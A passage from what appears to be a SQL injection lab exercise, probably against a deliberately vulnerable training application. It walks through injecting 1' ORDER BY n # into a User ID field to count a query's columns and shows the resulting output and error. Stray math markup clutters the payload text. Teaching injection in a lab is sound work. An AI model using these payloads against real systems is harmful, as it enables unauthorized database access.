a$.$ In the User ID: field type $1\text{'}$ ORDER BY $1$ # and click Submit.

You should receive the following output:

ID: $1\text{'}$ ORDER BY $1$#

First name: admin

Surname: admin

b$.$ In the User ID: field type $1\text{'}$ ORDER BY $2$ # and click Submit.

You should receive the following output:

ID: $1\text{'}$ ORDER BY $2$#

First name: admin

Surname: admin

c$.$ In the User ID: field type $1\text{'}$ ORDER BY $3$ # and click Submit.

This time you should receive the error Unknown column $\text{'}3\text{'}$ in 'order clause'.

Because the third string returned an error, this tells us the query involves two fields. This is useful information to know as you continue your exploit.

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